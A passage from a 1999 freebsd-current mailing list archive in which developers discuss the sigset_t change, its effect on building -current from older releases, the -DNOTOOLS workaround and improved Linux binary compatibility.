a 3.0-R box (yes, that's right, 3.0-R) and it will basicly stop me from
doing any of that...

this is a VERY bad thing to happen to FreeBSD...

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 23:48:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from shale.csir.co.za (shale.csir.co.za [146.64.46.5])
	by hub.freebsd.org (Postfix) with ESMTP id 06F0014D64
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 23:48:35 -0700 (PDT)
	(envelope-from reg@shale.csir.co.za)
Received: from granite.hip.berkeley.edu (granite.hip.berkeley.edu [136.152.155.25])
	by shale.csir.co.za (8.9.3/8.9.3) with ESMTP id IAA20460;
	Thu, 30 Sep 1999 08:47:48 +0200 (SAT)
	(envelope-from reg@shale.csir.co.za)
Received: (from reg@localhost)
	by granite.hip.berkeley.edu (8.9.3/8.9.3) id XAA37718;
	Wed, 29 Sep 1999 23:47:19 -0700 (PDT)
	(envelope-from reg)
Date: Wed, 29 Sep 1999 23:47:18 -0700
From: Jeremy Lea <reg@shale.csir.co.za>
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>,
	"Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>,
	Doug <Doug@gorean.org>, Harold Gutch <logix@foobar.franken.de>,
	Ben Rosengart <ben@skunk.org>, Marcel Moolenaar <marcel@scc.nl>,
	current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
Message-ID: <19990929234718.B35653@shale.csir.co.za>
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com> <199909292351.QAA21938@gndrsh.dnsmgr.net> <199909300054.UAA01918@khavrinen.lcs.mit.edu> <19990929220707.10581@hydrogen.fircrest.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <19990929220707.10581@hydrogen.fircrest.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

On Wed, Sep 29, 1999 at 10:07:07PM -0700, John-Mark Gurney wrote:
> Garrett Wollman scribbled this message on Sep 29:
> > <<On Wed, 29 Sep 1999 16:51:37 -0700 (PDT), "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net> said:
> > 
> > > If it is broken, please back out the signal changes or fix the tools
> > > target.
> > 
> > No, Rod, just Deal With It(tm).
> 
> actually, no, I would like this fixed... I will be unable to develope
> FreeBSD if the tools target doesn't work!! I do all of my compiles on
> a 3.0-R box (yes, that's right, 3.0-R) and it will basicly stop me from
> doing any of that...
> 
> this is a VERY bad thing to happen to FreeBSD...

Is there no way for a new tool (especially through libc) to detect it is
running on an old kernel, and do things the old way?  The test would
need to be done once per application, and could be conditionised so that
it was only included in the tools built during a make world...

Regards,
 -Jeremy (who hasn't looked at the code)

-- 
  |   "Come home my prodigal son, come home and lets be one,
--+--  don't want to see you cry, don't make me tell you why,
  |    you've lived in a house with me, my blood has set you free,
  |    in the world you'll surely die, nothing else will satisfy." -MIC


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  0: 0:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id 46050152D6
	for <current@freebsd.org>; Thu, 30 Sep 1999 00:00:27 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11WaDx-000JcM-00; Thu, 30 Sep 1999 07:01:53 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id JAA41852;
	Thu, 30 Sep 1999 09:00:25 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F30A88.2DF1D7C9@scc.nl>
Date: Thu, 30 Sep 1999 09:00:24 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Harold Gutch <logix@foobar.franken.de>
Cc: Doug <Doug@gorean.org>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <19990929224847.A26394@foobar.franken.de> <Pine.BSF.4.10.9909291401330.33311-100000@dt014n8c.san.rr.com> <19990929231253.B26394@foobar.franken.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Harold Gutch wrote:
> 
> I interpreted the way of currently handling things (build the
> kernel first, then the userland) to be a _temporary_ solution,
> that Marcel was working on being fixed. If this is not the case,
> then I agree with you.

I'm not working on changing the build/installworld. There's nothing
"broken" about having to install the kernel first, IMO. I don't see how
I can "fix" it then.

The upgrading from -stable to -current is currently being tested by Bill
Fumerola. I can imagine that some might be broken in that case. This I
will attempt to fix, then...

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  0:12:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rah.star-gate.com (216-200-29-190.snj0.flashcom.net [216.200.29.194])
	by hub.freebsd.org (Postfix) with ESMTP id 08D4E156AF
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 00:12:51 -0700 (PDT)
	(envelope-from hasty@rah.star-gate.com)
Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1])
          by rah.star-gate.com (8.9.3/8.8.8) with ESMTP id AAA18462;
          Thu, 30 Sep 1999 00:12:15 -0700 (PDT)
          (envelope-from hasty@rah.star-gate.com)
Message-Id: <199909300712.AAA18462@rah.star-gate.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: Marcel Moolenaar <marcel@scc.nl>
Cc: Harold Gutch <logix@foobar.franken.de>, Doug <Doug@gorean.org>,
	current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed 
In-reply-to: Your message of "Thu, 30 Sep 1999 09:00:24 +0200."
             <37F30A88.2DF1D7C9@scc.nl> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 30 Sep 1999 00:12:15 -0700
From: Amancio Hasty <hasty@rah.star-gate.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

BTW: I think that what  you are doing is really great !!

Hmm... I wonder if the volume in the list will increase with cool
apps such as IBM's ViaVoice which needs your mods to work.

	Tnks !


-- 

 Amancio Hasty
 hasty@rah.star-gate.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  0:18:26 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id 98A7D156AF
	for <current@freebsd.org>; Thu, 30 Sep 1999 00:18:23 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11WaVJ-000JuO-00; Thu, 30 Sep 1999 07:19:49 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id JAA42416;
	Thu, 30 Sep 1999 09:18:16 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F30EB8.C5D88D22@scc.nl>
Date: Thu, 30 Sep 1999 09:18:16 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: John Polstra <jdp@polstra.com>
Cc: current@freebsd.org
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F23064.98EEBC67@scc.nl> <199909300215.TAA23947@vashon.polstra.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John Polstra wrote:
> 
> I got world built and installed OK on the alpha now, and things
> generally seem OK.  However, amd dumped core with a SEGV immediately
> upon startup.  I haven't had even a second to try to debug it yet.
> Just thought I'd let you know about it.

...and there was much rejoicing...

As for AMD, I don't use it. I'll dig into manpages, source code and
whatsnot. If possible I'll reconfigure something here so that I can test
it on a i386.

BTW: I'm sorry, that a simple bug in the NFS code made your filesystem
go south. I have been working hard to prevent that...

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  0:20:19 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id D3710159F9
	for <current@freebsd.org>; Thu, 30 Sep 1999 00:19:52 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11WaVJ-00020H-00; Thu, 30 Sep 1999 07:19:49 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id JAA42455;
	Thu, 30 Sep 1999 09:19:47 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F30F13.BF823CE5@scc.nl>
Date: Thu, 30 Sep 1999 09:19:47 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Alfred Perlstein <bright@wintelcom.net>
Cc: Harold Gutch <logix@foobar.franken.de>, Doug <Doug@gorean.org>,
	Ben Rosengart <ben@skunk.org>, current@FreeBSD.ORG
Subject: Re: how to avoid bullets in the feet (was Re: HEADS UP: sigset_t 
 changescommitted)
References: <Pine.BSF.4.05.9909292048250.6368-100000@fw.wintelcom.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Alfred Perlstein wrote:
> 
> What's really needed is some warning sort of like what we
> did when the AOUT->ELF convertion happened, there has
> to be a simple way to test this as part of installworld.

Yes, that's exactly what I had in mind. Details still need to be worked
out, though.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  0:25: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id 120FF15636
	for <current@freebsd.org>; Thu, 30 Sep 1999 00:25:05 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11Wabn-000K0b-00; Thu, 30 Sep 1999 07:26:32 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id JAA42719;
	Thu, 30 Sep 1999 09:24:58 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F3104A.601DA5FE@scc.nl>
Date: Thu, 30 Sep 1999 09:24:58 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com> <199909292351.QAA21938@gndrsh.dnsmgr.net> <199909300054.UAA01918@khavrinen.lcs.mit.edu> <19990929220707.10581@hydrogen.fircrest.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

[cc list trimmed]

John-Mark Gurney wrote:

> actually, no, I would like this fixed... I will be unable to develope
> FreeBSD if the tools target doesn't work!! I do all of my compiles on
> a 3.0-R box (yes, that's right, 3.0-R) and it will basicly stop me from
> doing any of that...

I'm not sure how you are developing, but in general you don't depend on
the tools target unless you are rebuilding the system. As long as you
don't upgrade to -current for now, there's absolutely nothing to worry
about. You can still develop on -stable. You binaries work on -current
as well. 

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  0:28: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id 578C014D1C
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 00:28:01 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id AAA24337;
          Thu, 30 Sep 1999 00:27:57 -0700 (PDT)
Message-ID: <19990930002757.23270@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 00:27:57 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com> <199909292351.QAA21938@gndrsh.dnsmgr.net> <199909300054.UAA01918@khavrinen.lcs.mit.edu> <19990929220707.10581@hydrogen.fircrest.net> <37F3104A.601DA5FE@scc.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <37F3104A.601DA5FE@scc.nl>; from Marcel Moolenaar on Thu, Sep 30, 1999 at 09:24:58AM +0200
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar scribbled this message on Sep 30:
> [cc list trimmed]
> 
> John-Mark Gurney wrote:
> 
> > actually, no, I would like this fixed... I will be unable to develope
> > FreeBSD if the tools target doesn't work!! I do all of my compiles on
> > a 3.0-R box (yes, that's right, 3.0-R) and it will basicly stop me from
> > doing any of that...
> 
> I'm not sure how you are developing, but in general you don't depend on
> the tools target unless you are rebuilding the system. As long as you
> don't upgrade to -current for now, there's absolutely nothing to worry
> about. You can still develop on -stable. You binaries work on -current
> as well. 

but I'm developing for -current... I do a buildworld on my 3.0-R box
and move it over to the box after it's complete... I'm not sure about
you, but doing a buildworld over nfs w/ a processor that is sub p133
is not something that really works to well...

I am planning on upgrading my 3.0-R to 3.3-R, but that won't fix anything
that allows me to build -current on it...

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  0:32:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id 1C6D014CE2
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 00:32:15 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id AAA24442;
          Thu, 30 Sep 1999 00:32:14 -0700 (PDT)
Message-ID: <19990930003214.58194@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 00:32:14 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Amancio Hasty <hasty@rah.star-gate.com>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F30A88.2DF1D7C9@scc.nl> <199909300712.AAA18462@rah.star-gate.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <199909300712.AAA18462@rah.star-gate.com>; from Amancio Hasty on Thu, Sep 30, 1999 at 12:12:15AM -0700
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Amancio Hasty scribbled this message on Sep 30:
> BTW: I think that what  you are doing is really great !!
> 
> Hmm... I wonder if the volume in the list will increase with cool
> apps such as IBM's ViaVoice which needs your mods to work.

I happen to agree that this is a good move for FreeBSD, but it breaks
the fundemental part of FreeBSD is that you can buildworld to w/o any
dependancies on the target...

I thought we were working to the point that we could build a mips world
on an x86 box??  w/ this, it completely breaks it...  the whole idea of
a buildworld is that the tools can be build on ANY platform and run,
(assuming the tools support it) and then be able to build the target...

might as well say goodbye to ever getting freebsd's userland running
under NetBSD which is how our nice Alpha port got started...  this
NEEDS to be fixed...

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  0:36:26 1999
Delivered-To: freebsd-current@freebsd.org
Received: from oskar.nanoteq.co.za (oskar.nanoteq.co.za [196.37.91.10])
	by hub.freebsd.org (Postfix) with ESMTP id A429F14CE2
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 00:36:15 -0700 (PDT)
	(envelope-from rbezuide@oskar.nanoteq.co.za)
Received: (from rbezuide@localhost)
	by oskar.nanoteq.co.za (8.9.0/8.9.0) id JAA18885;
	Thu, 30 Sep 1999 09:35:11 +0200 (SAT)
From: Reinier Bezuidenhout <rbezuide@oskar.nanoteq.co.za>
Message-Id: <199909300735.JAA18885@oskar.nanoteq.co.za>
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <199909300712.AAA18462@rah.star-gate.com> from Amancio Hasty at "Sep 30, 99 00:12:15 am"
To: hasty@rah.star-gate.com (Amancio Hasty)
Date: Thu, 30 Sep 1999 09:35:05 +0200 (SAT)
Cc: marcel@scc.nl, logix@foobar.franken.de, Doug@gorean.org,
	current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL28 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I know this is not topic related, so appologies in advance ... 

Sometimes people deserve a pat on the back.

This is the best thing since Chocolate Chip cookies :)

We're running things like myth2_demo, and it opens the doors
to a whole bunch of applications ... e.g. C++ Builder to follow
next year (for Linux, but probably running in Linuxulator !!)

thanks
Reinier

> BTW: I think that what  you are doing is really great !!
> 
> Hmm... I wonder if the volume in the list will increase with cool
> apps such as IBM's ViaVoice which needs your mods to work.
> 
> 	Tnks !
> 
> 
> -- 
> 
>  Amancio Hasty
>  hasty@rah.star-gate.com
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  1:11:44 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rah.star-gate.com (216-200-29-190.snj0.flashcom.net [216.200.29.194])
	by hub.freebsd.org (Postfix) with ESMTP id 58490155BF
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 01:11:42 -0700 (PDT)
	(envelope-from hasty@rah.star-gate.com)
Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1])
          by rah.star-gate.com (8.9.3/8.8.8) with ESMTP id BAA18903;
          Thu, 30 Sep 1999 01:11:21 -0700 (PDT)
          (envelope-from hasty@rah.star-gate.com)
Message-Id: <199909300811.BAA18903@rah.star-gate.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed 
In-reply-to: Your message of "Thu, 30 Sep 1999 00:32:14 PDT."
             <19990930003214.58194@hydrogen.fircrest.net> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 30 Sep 1999 01:11:21 -0700
From: Amancio Hasty <hasty@rah.star-gate.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Without proper linux support we are dead .

Now I have to get off my soap box and let the work continue 8)

	Best Regards







-- 

 Amancio Hasty
 hasty@rah.star-gate.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  1:13:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id D60D9159B0
	for <current@FreeBSD.org>; Thu, 30 Sep 1999 01:13:36 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id JAA21366
	for current@FreeBSD.org; Thu, 30 Sep 1999 09:57:15 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Thu, 30 Sep 1999 09:57:07 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F317D3.CDEF3993@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <37F30A88.2DF1D7C9@scc.nl>, <199909300712.AAA18462@rah.star-gate.com>
Subject: Re: HEADS UP: sigset_t changes committed
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Amancio Hasty wrote:

> BTW: I think that what  you are doing is really great !!

Thanks!

> Hmm... I wonder if the volume in the list will increase with cool
> apps such as IBM's ViaVoice which needs your mods to work.

Already Linux binaries have been tested and confirmed working with the
new sigset_t that weren't working before. Luoqi's work to support libvga
is also a great thing, BTW.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  1:13:45 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id 26C8915632
	for <current@FreeBSD.org>; Thu, 30 Sep 1999 01:13:36 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id JAA19471
	for current@FreeBSD.org; Thu, 30 Sep 1999 09:49:47 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Thu, 30 Sep 1999 09:49:40 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F31614.95B0963A@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com>, <99092922415900.64838@nomad.dataplex.net>
Subject: Re: HEADS UP: sigset_t changes committed
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Richard Wackerbarth wrote:
> 
> There is nothing fundamental in the toolset which SHOULD care about the
> underlying kernel. Compilers, loaders, etc. are just programs that operate on
> the contents of files. Think of compiling the 4.0 system on a 3.3 system as a
> simpler case of cross compiling. I should be able to compile FreeBSD 4.0/alpha
> on a FreeBSD 3.3/i386 system.

Sigh..

Yes, but if you need the tools you just compiled in your
cross-compilation for cross-compilation itself, you'll have a big
problem. And that's almost exacly what happens when building world...

Using -DNOTOOLS should allow you to build a -current world without
installing a new kernel.

Stay focussed people!

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  1:16: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id 5266B155BF
	for <current@freebsd.org>; Thu, 30 Sep 1999 01:15:54 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11WbOx-000Kto-00; Thu, 30 Sep 1999 08:17:20 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id KAA44485;
	Thu, 30 Sep 1999 10:15:52 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F31C38.3BA7EAE2@scc.nl>
Date: Thu, 30 Sep 1999 10:15:52 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com> <199909292351.QAA21938@gndrsh.dnsmgr.net> <199909300054.UAA01918@khavrinen.lcs.mit.edu> <19990929220707.10581@hydrogen.fircrest.net> <37F3104A.601DA5FE@scc.nl> <19990930002757.23270@hydrogen.fircrest.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John-Mark Gurney wrote:
> 
> but I'm developing for -current... I do a buildworld on my 3.0-R box
> and move it over to the box after it's complete... I'm not sure about
> you, but doing a buildworld over nfs w/ a processor that is sub p133
> is not something that really works to well...

Ah, now I understand your use of development.

> I am planning on upgrading my 3.0-R to 3.3-R, but that won't fix anything
> that allows me to build -current on it...

Try -DNOTOOLS. I don't know if the -current sources depend specifically
on -current tools (such as egcs).

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  2: 1:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from m4.c2.telstra-mm.net.au (m4.c2.telstra-mm.net.au [24.192.3.19])
	by hub.freebsd.org (Postfix) with ESMTP id 7334E150B1
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 02:01:21 -0700 (PDT)
	(envelope-from areilly@nsw.bigpond.net.au)
Received: from m5.c2.telstra-mm.net.au (m5.c2.telstra-mm.net.au [24.192.3.20])
